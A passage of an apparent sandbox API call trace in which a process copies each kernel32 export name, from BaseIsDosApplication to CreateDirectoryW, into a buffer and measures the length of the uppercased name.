lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0102.738] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0102.738] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0102.738] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0102.738] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0102.738] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0102.738] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0102.739] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0102.739] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0102.739] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0102.739] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0102.739] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0102.739] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0102.739] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0102.739] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0102.739] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0102.739] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0102.739] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0102.739] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0102.739] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0102.739] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0102.739] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0102.739] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0102.739] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0102.739] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0102.739] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0102.740] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0102.740] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0102.740] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0102.740] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0102.740] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0102.740] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0102.740] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0102.740] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0102.740] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0102.740] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0102.740] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0102.740] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0102.740] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0102.740] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0102.740] lstrlenA (lpString="BEEP") returned 4 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0102.740] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0102.740] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0102.740] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0102.740] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0102.740] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0102.741] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0102.741] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0102.741] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0102.741] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0102.741] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0102.741] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0102.741] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0102.741] lstrlenA (lpString="CANCELIO") returned 8 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0102.741] lstrlenA (lpString="CANCELIOEX") returned 10 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0102.741] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0102.741] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0102.741] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0102.741] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0102.741] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0102.741] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0102.741] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0102.741] lstrlenA (lpString="CHECKELEVATION") returned 14 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0102.741] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0102.741] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0102.741] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0102.741] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0102.741] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0102.742] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0102.742] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0102.742] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0102.742] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0102.742] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0102.742] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0102.742] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0102.742] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0102.742] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0102.742] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0102.742] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0102.742] lstrlenA (lpString="CLOSESTATE") returned 10 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0102.742] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0102.742] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0102.742] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0102.742] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0102.742] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0102.742] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0102.742] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0102.742] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0102.742] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0102.743] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0102.743] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0102.743] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0102.743] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0102.743] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0102.743] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0102.743] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0102.743] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0102.743] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0102.743] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0102.743] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0102.743] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0102.743] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0102.743] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0102.743] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0102.743] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0102.743] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0102.743] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0102.743] lstrlenA (lpString="COPYCONTEXT") returned 11 [0102.743] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0102.744] lstrlenA (lpString="COPYFILE2") returned 9 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0102.744] lstrlenA (lpString="COPYFILEA") returned 9 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0102.744] lstrlenA (lpString="COPYFILEEXA") returned 11 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0102.744] lstrlenA (lpString="COPYFILEEXW") returned 11 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0102.744] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0102.744] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0102.744] lstrlenA (lpString="COPYFILEW") returned 9 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0102.744] lstrlenA (lpString="COPYLZFILE") returned 10 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0102.744] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0102.744] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0102.744] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0102.744] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0102.744] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0102.744] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0102.744] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0102.744] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0102.744] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0102.744] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0102.744] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0102.744] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" 